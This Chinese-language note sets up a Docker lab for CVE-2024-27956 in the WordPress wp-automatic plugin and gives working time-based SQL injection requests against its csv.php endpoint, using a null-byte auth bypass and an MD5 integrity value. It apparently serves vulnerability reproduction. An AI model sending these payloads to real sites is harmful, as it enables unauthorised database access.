CVE-2024-27956

注意

构建WordPress：docker-compose -f stack.yml up

安装插件：

1. 进入WordPress仪表盘，选择插件 > 添加新插件

2. 点击上传插件

3. 选择文件 -> wp-automatic.zip -> 立即安装

4. 安装完成后，点击启用插件

漏洞利用

<HOST>/wp-content/plugins/wp-automatic/inc/csv.php

q={{query}}&auth=%00&integ={{md5query}}

q=SELECT+IF(1=1,sleep(5),sleep(0))&auth=%00&integ=93cf9aa11e746596d6f31765a7222c9f

q=SELECT+IF(1=2,sleep(5),sleep(0))&auth=%00&integ=4b1f4024af81df56c3b00679b9b52183